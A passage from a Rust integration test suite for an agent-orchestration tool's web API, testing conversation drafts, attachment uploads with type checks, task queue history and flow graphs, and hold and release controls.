7033 fresh.turns.len()
7034 );
7035 }
7036 }
7037
7038 #[tokio::test]
7039 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
7040 let (_tmp, _repo, f) = talk_fixture().await;
7041 let id = f.post("/api/talks", None).await.json()["id"]
7042 .as_str()
7043 .expect("id")
7044 .to_owned();
7045 let store = f.talks();
7046 let mut recovered = store.get(&id).expect("opened talk");
7047 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
7048 .expect("persist pending draft without a live turn");
7049
7050 let edited = f
7051 .post(
7052 &format!("/api/talks/{id}/pending/edit"),
7053 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
7054 )
7055 .await;
7056 assert_eq!(edited.status, 200, "{}", edited.body);
7057 assert!(edited.json()["thinking"].as_bool().unwrap());
7058
7059 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
7060 for _ in 0..SETTLE_STEPS {
7061 if detail["turns"].as_array().expect("turns").len() == 2 {
7062 break;
7063 }
7064 tokio::time::sleep(Duration::from_millis(10)).await;
7065 detail = f.get(&format!("/api/talks/{id}")).await.json();
7066 }
7067 let turns = detail["turns"].as_array().expect("turns");
7068 assert_eq!(
7069 turns.len(),
7070 2,
7071 "the recovered draft must run once: {detail}"
7072 );
7073 assert_eq!(turns[0]["body"], "corrected");
7074 assert_eq!(detail["pending"], "");
7075 }
7076
7077 #[tokio::test]
7078 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
7079 let tmp = TempDir::new().expect("tempdir");
7080 let repo = tmp.path().join("repo");
7081 std::fs::create_dir_all(&repo).expect("repo dir");
7082 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
7083 let f = Fixture::with_repo(repo).await;
7084 let id = f.post("/api/talks", None).await.json()["id"]
7085 .as_str()
7086 .expect("id")
7087 .to_owned();
7088 let store = f.talks();
7089 let mut recovered = store.get(&id).expect("opened talk");
7090 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
7091 .expect("persist pending draft without a live turn");
7092
7093 let refused = f
7094 .post(
7095 &format!("/api/talks/{id}/say"),
7096 Some(r#"{"text":"new message"}"#),
7097 )
7098 .await;
7099 assert_eq!(refused.status, 409, "{}", refused.body);
7100 assert!(refused.body.contains("resume"), "{}", refused.body);
7101 let saved = store.get(&id).expect("draft remains after refusal");
7102 assert!(saved.turns.is_empty());
7103 assert_eq!(saved.pending, "saved before restart");
7104
7105 let say_path = format!("/api/talks/{id}/say");
7106 let (first, second) = tokio::join!(
7107 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
7108 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
7109 );
7110 assert_eq!(first.status, 409, "{}", first.body);
7111 assert_eq!(second.status, 409, "{}", second.body);
7112 let saved = store
7113 .get(&id)
7114 .expect("draft remains after concurrent refusals");
7115 assert!(saved.turns.is_empty());
7116 assert_eq!(saved.pending, "saved before restart");
7117
7118 let resumed = f
7119 .post(&format!("/api/talks/{id}/pending/resume"), None)
7120 .await;
7121 assert_eq!(resumed.status, 202, "{}", resumed.body);
7122 let duplicate = f
7123 .post(&format!("/api/talks/{id}/pending/resume"), None)
7124 .await;
7125 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
7126
7127 for _ in 0..SETTLE_STEPS {
7128 if store.get(&id).expect("talk").turns.len() == 2 {
7129 break;
7130 }
7131 tokio::time::sleep(Duration::from_millis(10)).await;
7132 }
7133 let finished = store.get(&id).expect("finished talk");
7134 assert_eq!(finished.turns.len(), 2, "{finished:?}");
7135 assert_eq!(finished.turns[0].body, "saved before restart");
7136 assert!(finished.pending.is_empty());
7137 }
7138
7139 #[tokio::test]
7140 async fn an_image_only_recovered_draft_resumes_without_text() {
7141 let (_tmp, _repo, f) = talk_fixture().await;
7142 let id = f.post("/api/talks", None).await.json()["id"]
7143 .as_str()
7144 .expect("id")
7145 .to_owned();
7146 let uploaded = f
7147 .post_bytes(
7148 &format!("/api/talks/{id}/attachments"),
7149 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
7150 PNG_BYTES,
7151 )
7152 .await;
7153 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
7154 let attachment = f
7155 .talks()
7156 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
7157 .expect("attachment metadata")
7158 .expect("stored attachment");
7159 let store = f.talks();
7160 let mut recovered = store.get(&id).expect("opened talk");
7161 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
7162
7163 let resumed = f
7164 .post(&format!("/api/talks/{id}/pending/resume"), None)
7165 .await;
7166 assert_eq!(resumed.status, 202, "{}", resumed.body);
7167 for _ in 0..SETTLE_STEPS {
7168 if store.get(&id).expect("talk").turns.len() == 2 {
7169 break;
7170 }
7171 tokio::time::sleep(Duration::from_millis(10)).await;
7172 }
7173 let finished = store.get(&id).expect("finished talk");
7174 assert_eq!(finished.turns.len(), 2, "{finished:?}");
7175 assert!(finished.turns[0].body.is_empty());
7176 assert_eq!(finished.turns[0].attachments.len(), 1);
7177 assert!(finished.pending_attachments.is_empty());
7178 }
7179
7180 #[tokio::test]
7181 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
7182 let (_tmp, _repo, f) = talk_fixture().await;
7183 let id = f.post("/api/talks", None).await.json()["id"]
7184 .as_str()
7185 .expect("id")
7186 .to_owned();
7187 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7188 assert_eq!(closed.status, 200, "{}", closed.body);
7189 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
7190 .expect("serialize closed talk");
7191 for (path, body) in [
7192 (format!("/api/talks/{id}/pending/resume"), None),
7193 (
7194 format!("/api/talks/{id}/pending/clear"),
7195 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
7196 ),
7197 (
7198 format!("/api/talks/{id}/pending/edit"),
7199 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
7200 ),
7201 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
7202 ] {
7203 let response = f.post(&path, body).await;
7204 assert_eq!(response.status, 409, "{}", response.body);
7205 }
7206 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
7207 .expect("serialize closed talk");
7208 assert_eq!(
7209 after_clear, before_clear,
7210 "clear must not rewrite a closed talk"
7211 );
7212 }
7213
7214 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
7217
7218 #[tokio::test]
7219 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
7220 let tmp = TempDir::new().expect("tempdir");
7221 let repo = tmp.path().join("repo");
7222 std::fs::create_dir_all(&repo).expect("repo dir");
7223 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
7224 let f = Fixture::with_repo(repo).await;
7225 let id_a = f.post("/api/talks", None).await.json()["id"]
7226 .as_str()
7227 .unwrap()
7228 .to_owned();
7229 let id_b = f.post("/api/talks", None).await.json()["id"]
7230 .as_str()
7231 .unwrap()
7232 .to_owned();
7233
7234 let a = f
7235 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
7236 .await;
7237 assert_eq!(a.status, 202, "{}", a.body);
7238 assert_eq!(a.json()["thinking"], true);
7239 let b = f
7240 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
7241 .await;
7242 assert_eq!(b.status, 202, "{}", b.body);
7243 assert_eq!(b.json()["thinking"], true);
7244
7245 let listed = f.get("/api/talks").await.json();
7246 for id in [&id_a, &id_b] {
7247 let view = listed
7248 .as_array()
7249 .unwrap()
7250 .iter()
7251 .find(|talk| talk["id"] == *id)
7252 .unwrap();
7253 assert_eq!(view["thinking"], true, "{listed}");
7254 }
7255 let repeated = f
7256 .post(
7257 &format!("/api/talks/{id_a}/say"),
7258 Some(r#"{"text":"again"}"#),
7259 )
7260 .await;
7261 assert_eq!(repeated.status, 202, "{}", repeated.body);
7262 assert_eq!(repeated.json()["pending"], "again");
7263 }
7264
7265 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
7268
7269 #[tokio::test]
7270 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
7271 let f = Fixture::start().await;
7272 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
7273
7274 let res = f
7275 .post_bytes(
7276 &format!("/api/talks/{id}/attachments"),
7277 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
7278 PNG_BYTES,
7279 )
7280 .await;
7281 assert_eq!(res.status, 201, "{}", res.body);
7282 let body = res.json();
7283 assert_eq!(body["name"], "shot.png");
7284 assert_eq!(body["mime"], "image/png");
7285 assert_eq!(body["bytes"], PNG_BYTES.len());
7286 let att_id = body["id"].as_str().expect("id").to_owned();
7287 assert_eq!(
7288 att_id.len(),
7289 32,
7290 "the id must never be a client-suppliable path: {att_id}"
7291 );
7292
7293 let got = f
7294 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
7295 .await;
7296 assert_eq!(got.status, 200, "{}", got.body);
7297 assert_eq!(got.header("content-type"), Some("image/png"));
7298 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
7299 assert_eq!(got.bytes, PNG_BYTES);
7300 }
7301
7302 #[tokio::test]
7303 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
7304 let f = Fixture::start().await;
7305 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
7306
7307 let svg = f
7310 .post_bytes(
7311 &format!("/api/talks/{id}/attachments"),
7312 &[("Content-Type", "image/svg+xml")],
7313 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
7314 )
7315 .await;
7316 assert!(
7317 (400..500).contains(&svg.status),
7318 "svg must be refused: {} {}",
7319 svg.status,
7320 svg.body
7321 );
7322 assert!(svg.body.contains("SVG"), "{}", svg.body);
7323
7324 let text = f
7325 .post_bytes(
7326 &format!("/api/talks/{id}/attachments"),
7327 &[("Content-Type", "text/plain")],
7328 b"just some text",
7329 )
7330 .await;
7331 assert!(
7332 (400..500).contains(&text.status),
7333 "an unlisted type must be refused: {} {}",
7334 text.status,
7335 text.body
7336 );
7337
7338 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
7341 let big = f
7342 .post_bytes(
7343 &format!("/api/talks/{id}/attachments"),
7344 &[("Content-Type", "image/png")],
7345 &oversized,
7346 )
7347 .await;
7348 assert_eq!(
7349 big.status,
7350 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
7351 "{}",
7352 big.body
7353 );
7354 }
7355
7356 #[tokio::test]
7357 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
7358 let f = Fixture::start().await;
7359 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
7360
7361 let res = f
7364 .post_bytes(
7365 &format!("/api/talks/{id}/attachments"),
7366 &[("Content-Type", "image/png")],
7367 b"<html>not a picture</html>",
7368 )
7369 .await;
7370 assert!((400..500).contains(&res.status), "{}", res.body);
7371 }
7372
7373 #[tokio::test]
7374 async fn an_unknown_attachment_id_is_a_404() {
7375 let f = Fixture::start().await;
7376 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
7377
7378 let res = f
7379 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
7380 .await;
7381 assert_eq!(res.status, 404, "{}", res.body);
7382 }
7383
7384 #[tokio::test]
7385 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
7386 let f = Fixture::start().await;
7387 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
7388
7389 let uploaded = f
7390 .post_bytes(
7391 &format!("/api/talks/{id}/attachments"),
7392 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
7393 PNG_BYTES,
7394 )
7395 .await;
7396 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
7397 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
7398
7399 let res = f
7400 .post(
7401 &format!("/api/talks/{id}/say"),
7402 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
7403 )
7404 .await;
7405 assert_eq!(res.status, 202, "{}", res.body);
7406 let queued = res.json();
7407 let turns = queued["turns"].as_array().expect("turns array");
7408 assert_eq!(
7409 turns.len(),
7410 1,
7411 "an empty body with an attachment is still a turn: {queued}"
7412 );
7413 assert_eq!(turns[0]["who"], "operator");
7414 assert_eq!(turns[0]["body"], "");
7415 let atts = turns[0]["attachments"]
7416 .as_array()
7417 .expect("attachments array");
7418 assert_eq!(atts.len(), 1);
7419 assert_eq!(atts[0]["id"], att_id);
7420 assert_eq!(atts[0]["mime"], "image/png");
7421
7422 let on_disk = f.talks().get(&id).expect("get");
7425 assert_eq!(on_disk.turns[0].attachments.len(), 1);
7426 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
7427 }
7428
7429 #[tokio::test]
7430 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
7431 let f = Fixture::start().await;
7432 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
7433
7434 let res = f
7435 .post(
7436 &format!("/api/talks/{id}/say"),
7437 Some(&format!(
7438 r#"{{"text":"hi","attachments":["{}"]}}"#,
7439 "a".repeat(32)
7440 )),
7441 )
7442 .await;
7443 assert!((400..500).contains(&res.status), "{}", res.body);
7444 assert!(res.body.contains("unknown attachment"), "{}", res.body);
7445
7446 let on_disk = f.talks().get(&id).expect("get");
7447 assert!(
7448 on_disk.turns.is_empty(),
7449 "a rejected attachment id must not partially record the turn: {:?}",
7450 on_disk.turns
7451 );
7452 }
7453
7454 #[tokio::test]
7455 async fn talk_close_makes_the_talk_refuse_further_turns() {
7456 let f = Fixture::start().await;
7457 let id = seed_talk(&f, "20260904-014455-cd34", "open");
7458
7459 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7460 assert_eq!(closed.status, 200, "{}", closed.body);
7461 assert_eq!(closed.json()["status"], "closed");
7462
7463 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
7465 assert_eq!(closed_again.status, 200);
7466 assert_eq!(closed_again.json()["status"], "closed");
7467
7468 let said = f
7469 .post(
7470 &format!("/api/talks/{id}/say"),
7471 Some(r#"{"text":"too late"}"#),
7472 )
7473 .await;
7474 assert_eq!(said.status, 409, "{}", said.body);
7475 }
7476
7477 #[tokio::test]
7478 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
7479 let (_tmp, _repo, f) = talk_fixture().await;
7480 let id = f.post("/api/talks", None).await.json()["id"]
7481 .as_str()
7482 .expect("id")
7483 .to_owned();
7484 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7485 assert_eq!(closed.status, 200, "{}", closed.body);
7486
7487 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
7488 assert_eq!(reopened.status, 200, "{}", reopened.body);
7489 assert_eq!(reopened.json()["status"], "open");
7490
7491 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
7493 assert_eq!(reopened_again.status, 200);
7494 assert_eq!(reopened_again.json()["status"], "open");
7495
7496 let said = f
7497 .post(
7498 &format!("/api/talks/{id}/say"),
7499 Some(r#"{"text":"still there?"}"#),
7500 )
7501 .await;
7502 assert_eq!(
7503 said.status, 202,
7504 "a reopened talk accepts turns again: {}",
7505 said.body
7506 );
7507 }
7508
7509 #[tokio::test]
7510 async fn talk_reopen_on_an_unknown_id_is_404() {
7511 let f = Fixture::start().await;
7512 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
7513 assert_eq!(res.status, 404, "{}", res.body);
7514 }
7515
7516 #[tokio::test]
7517 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
7518 let f = Fixture::start().await;
7519 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
7520
7521 let deleted = f.delete(&format!("/api/talks/{id}")).await;
7522 assert_eq!(deleted.status, 204, "{}", deleted.body);
7523
7524 let after = f.get(&format!("/api/talks/{id}")).await;
7525 assert_eq!(after.status, 404, "{}", after.body);
7526
7527 let listed = f.get("/api/talks").await.json();
7528 assert!(
7529 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
7530 "a deleted talk must not linger in the list: {listed}"
7531 );
7532 }
7533
7534 #[tokio::test]
7535 async fn talk_delete_on_an_unknown_id_is_404() {
7536 let f = Fixture::start().await;
7537 let res = f.delete("/api/talks/nonexistent-id").await;
7538 assert_eq!(res.status, 404, "{}", res.body);
7539 }
7540
7541 #[tokio::test]
7545 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
7546 let f = Fixture::start().await;
7547 let (a, b, gone) = (
7548 "20260902-140501-aaaa",
7549 "20260902-140502-bbbb",
7550 "20260902-140503-cccc",
7551 );
7552 write_run(&f.runs(), a, RunStatus::Stalled);
7553 let mut review = RunState::new(
7554 PathBuf::from("/repo/magi"),
7555 "main".to_owned(),
7556 "0123456789abcdef".to_owned(),
7557 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
7558 .to_owned(),
7559 Config::default(),
7560 );
7561 review.id = b.to_owned();
7562 review.status = RunStatus::Merged;
7563 write_state(&f.runs(), &review);
7564
7565 let mut task = Task::new(
7566 "retry".to_owned(),
7567 "Do the thing".to_owned(),
7568 PathBuf::from("/repo/magi"),
7569 Source::Human,
7570 );
7571 task.start(a.to_owned());
7572 task.stall("quota");
7573 task.start(a.to_owned());
7574 task.start(b.to_owned());
7575 task.start(gone.to_owned());
7576 f.queue().put(&mut task).expect("file the task");
7577
7578 let res = f.get(&format!("/api/queue/{}", task.id)).await;
7579 assert_eq!(res.status, 200, "{}", res.body);
7580 let v = res.json();
7581 let h = v["history"].as_array().expect("history");
7582 assert_eq!(h.len(), 4, "{v}");
7583 assert_eq!(h[0]["kind"], "competition");
7584 assert_eq!(h[0]["status"], "stalled");
7585 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
7586 assert_eq!(h[1]["kind"], "resume", "{v}");
7587 assert!(
7588 h[0]["outcome"]
7589 .as_str()
7590 .unwrap()
7591 .contains("handed back; pass #2"),
7592 "an earlier pass of a resumed run must not claim the final outcome: {v}"
7593 );
7594 assert!(
7595 !h[1]["outcome"].as_str().unwrap().contains("handed back."),
7596 "{v}"
7597 );
7598 assert_eq!(h[2]["kind"], "review");
7599 assert!(
7600 h[2]["description"]
7601 .as_str()
7602 .unwrap()
7603 .contains("magi/aaaa/A")
7604 );
7605 assert_eq!(h[2]["status"], "merged");
7606 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
7607 assert_eq!(v["runs_unreadable"], 1);
7608 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
7609 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
7610 assert_eq!(nodes[4]["note"], "unreadable");
7611 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
7612 assert_eq!(v["instruction"], "Do the thing");
7613 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
7614
7615 let run = f.get(&format!("/api/runs/{a}")).await.json();
7617 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
7618
7619 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
7620 }
7621
7622 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
7623 let mut s = RunState::new(
7624 PathBuf::from("/repo/magi"),
7625 "main".to_owned(),
7626 "0123456789abcdef".to_owned(),
7627 "Do it".to_owned(),
7628 Config::default(),
7629 );
7630 s.status = status;
7631 edit(&mut s);
7632 s
7633 }
7634
7635 fn flow_task(runs: &[&str]) -> Task {
7636 let mut t = Task::new(
7637 "t".to_owned(),
7638 "Do it".to_owned(),
7639 PathBuf::from("/repo/magi"),
7640 Source::Human,
7641 );
7642 for r in runs {
7643 t.start((*r).to_owned());
7644 }
7645 t
7646 }
7647
7648 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
7649 let h = task_history(task, |id| {
7650 states
7651 .iter()
7652 .find(|(i, _)| *i == id)
7653 .and_then(|(_, s)| s.clone())
7654 });
7655 task_flow(task, &h, 5)
7656 }
7657
7658 const FA: &str = "20260902-140501-aaaa";
7659 const FB: &str = "20260902-140502-bbbb";
7660
7661 #[test]
7662 fn flow_follows_blocked_retry_merged_to_done() {
7663 let mut t = flow_task(&[FA, FB]);
7664 t.status = TaskStatus::Done;
7665 let f = flow_for(
7666 &t,
7667 &[
7668 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
7669 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
7670 ],
7671 );
7672 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
7673 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
7674 assert_eq!(f.edges.len(), 3);
7675 assert_eq!(f.edges[0].label, "claimed");
7676 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
7677 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
7678 assert_eq!(f.edges[2].label, "merged \u{2192} done");
7679 assert_eq!(
7680 f.nodes[2].href.as_deref(),
7681 Some("#/runs/20260902-140502-bbbb")
7682 );
7683 assert!(f.nodes[2].decided);
7684 }
7685
7686 #[test]
7687 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
7688 let quota = || {
7689 flow_run(RunStatus::Stalled, |s| {
7690 s.quota.push(crate::run::QuotaLoss {
7691 seat: "judge-1".to_owned(),
7692 node: "judge".to_owned(),
7693 at: Timestamp::now(),
7694 reset: None,
7695 })
7696 })
7697 };
7698 let mut t = flow_task(&[FA, FA]);
7699 t.status = TaskStatus::Queued;
7700 let f = flow_for(&t, &[(FA, Some(quota()))]);
7701 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
7702 assert_eq!(f.nodes[1].note, Some("interrupted"));
7703 assert_eq!(
7704 f.nodes[1].status, None,
7705 "no outcome copied onto an earlier pass"
7706 );
7707 assert_eq!(
7708 f.edges[1].attempt,
7709 AttemptCost::Unknown,
7710 "a resume does not prove the earlier pass was refunded"
7711 );
7712 assert!(f.edges[1].label.contains("resume the same run"));
7713 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
7714 assert_eq!(
7715 f.edges[2].label,
7716 "stalled after a resume, refund unknown \u{2192} queued"
7717 );
7718 assert!(!f.nodes[2].decided, "a stall is not a decision");
7719 assert_eq!(f.nodes[2].note, Some("no verdict"));
7720 }
7721
7722 #[test]
7723 fn flow_single_pass_quota_stall_is_refunded() {
7724 let t = flow_task(&[FA]);
7725 let f = flow_for(
7726 &t,
7727 &[(
7728 FA,
7729 Some(flow_run(RunStatus::Stalled, |s| {
7730 s.quota.push(crate::run::QuotaLoss {
7731 seat: "judge-1".to_owned(),
7732 node: "judge".to_owned(),
7733 at: Timestamp::now(),
7734 reset: None,
7735 })
7736 })),
7737 )],
7738 );
7739 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
7740 }
7741
7742 #[test]
7743 fn flow_parked_refunds_and_stall_without_quota_spends() {
7744 let mut t = flow_task(&[FA]);
7745 t.status = TaskStatus::Queued;
7746 let f = flow_for(
7747 &t,
7748 &[(
7749 FA,
7750 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
7751 )],
7752 );
7753 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
7754 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
7755 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
7756 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
7757 assert!(!f.nodes[1].decided);
7758 }
7759
7760 #[test]
7761 fn flow_keeps_an_unreadable_run_as_its_own_node() {
7762 let t = flow_task(&[FA, FB]);
7763 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
7764 assert_eq!(f.nodes[1].note, Some("unreadable"));
7765 assert!(!f.nodes[1].readable);
7766 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
7767 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
7768 }
7769
7770 #[test]
7771 fn flow_names_the_branch_of_a_review_only_run() {
7772 let t = flow_task(&[FA]);
7773 let f = flow_for(
7774 &t,
7775 &[(
7776 FA,
7777 Some(flow_run(RunStatus::Merged, |s| {
7778 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
7779 })),
7780 )],
7781 );
7782 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
7783 assert_eq!(
7784 f.nodes[1].detail.as_deref(),
7785 Some("review-only run of branch magi/x/A")
7786 );
7787 }
7788
7789 #[test]
7790 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
7791 let mut t = flow_task(&[FA]);
7792 t.status = TaskStatus::Held;
7793 let pr = crate::run::PrRecord {
7794 url: "https://example.test/pr/1".to_owned(),
7795 number: 1,
7796 state: "open".to_owned(),
7797 checks: "green".to_owned(),
7798 round: 0,
7799 rounds: 3,
7800 red_at_merge: Vec::new(),
7801 };
7802 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
7803 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
7804 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
7805 t.status = TaskStatus::Done;
7806 let f = flow_for(&t, &[(FA, Some(blocked))]);
7807 assert_eq!(f.edges[1].label, "closed by hand: task is done");
7808 }
7809
7810 #[test]
7811 fn flow_with_no_runs_goes_from_queued_to_queued() {
7812 let t = flow_task(&[]);
7813 let f = flow_for(&t, &[]);
7814 assert_eq!(f.nodes.len(), 2);
7815 assert_eq!(f.edges.len(), 1);
7816 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
7817 assert_eq!(f.edges[0].attempt, AttemptCost::None);
7818 }
7819
7820 #[test]
7823 fn a_parked_non_terminal_run_is_explained_as_parked() {
7824 let mut s = RunState::new(
7825 PathBuf::from("/repo/magi"),
7826 "main".to_owned(),
7827 "0123456789abcdef".to_owned(),
7828 "Do it".to_owned(),
7829 Config::default(),
7830 );
7831 s.status = RunStatus::Implementing;
7832 s.parked = true;
7833 let task = Task::new(
7834 "t".to_owned(),
7835 "Do it".to_owned(),
7836 PathBuf::from("/repo/magi"),
7837 Source::Human,
7838 );
7839 let v = task_run_view(
7840 "20260902-140501-aaaa",
7841 Some(&s),
7842 RunSlot {
7843 n: 1,
7844 resumed: false,
7845 resumed_later: None,
7846 prior: None,
7847 last: true,
7848 },
7849 &task,
7850 );
7851 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
7852 }
7853
7854 #[tokio::test]
7855 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
7856 let f = Fixture::start().await;
7857 let queue = f.queue();
7858 let mut task = Task::new(
7859 "spent".to_owned(),
7860 "Try again".to_owned(),
7861 PathBuf::from("/repo/magi"),
7862 Source::Human,
7863 );
7864 task.start("20260902-140502-bbbb".to_owned());
7865 task.fail("agent gave up", 9);
7866 queue.put(&mut task).expect("file the task");
7867
7868 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
7869 assert_eq!(held.status, 200);
7870 assert_eq!(held.json()["status_str"], "held");
7871
7872 let released = f
7873 .post(&format!("/api/queue/{}/release", task.id), None)
7874 .await;
7875 assert_eq!(released.status, 200);
7876 assert_eq!(released.json()["status_str"], "queued");
7877 assert_eq!(
7878 released.json()["attempts"],
7879 0,
7880 "release is a real second chance, not an instant re-hold"
7881 );
7882 assert_eq!(
7883 queue.get(&task.id).expect("reload").status,
7884 TaskStatus::Queued,
7885 "the change is on disk, not only in the reply"
7886 );
7887 assert!(
7888 !f.home
7889 .path()
7890 .join("queue")
7891 .join(format!("{}.lock", task.id))
7892 .exists(),
7893 "the claim the mutation took is released again"
7894 );
7895 }
7896
7897 #[tokio::test]
7898 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
7899 let f = Fixture::start().await;
7900 let queue = f.queue();
7901 let mut task = Task::new(
7902 "busy".to_owned(),
7903 "Running right now".to_owned(),
7904 PathBuf::from("/repo/magi"),
7905 Source::Human,
7906 );
7907 queue.put(&mut task).expect("file the task");
7908 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7909
7910 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
7911
7912 assert_eq!(res.status, 409);
7913 assert_eq!(
7914 queue.get(&task.id).expect("reload").status,
7915 TaskStatus::Queued,
7916 "the refused hold changed nothing"
7917 );
7918 }
7919
7920 #[tokio::test]
7921 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
7922 let f = Fixture::start().await;
7923 let queue = f.queue();
7924 let mut task = Task::new(
7925 "waiting on the migration".to_owned(),
7926 "Do the thing".to_owned(),
7927 PathBuf::from("/repo/magi"),
7928 Source::Human,
7929 );
7930 queue.put(&mut task).expect("file the task");
7931
7932 let held = f
7933 .post(
7934 &format!("/api/queue/{}/hold", task.id),
7935 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
7936 )
7937 .await;
7938 assert_eq!(held.status, 200, "{}", held.body);
7939 assert_eq!(held.json()["status_str"], "held");
7940 assert_eq!(
7941 held.json()["hold_reason"],
7942 "waiting for 20260101-000000-aaaa to land"
7943 );
7944
7945 let listed = f.get("/api/queue").await.json();
7946 assert_eq!(
7947 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
7948 "the card reads the reason off the same list route"
7949 );
7950
7951 let mut plain = Task::new(
7954 "no reason given".to_owned(),
7955 "Do another thing".to_owned(),
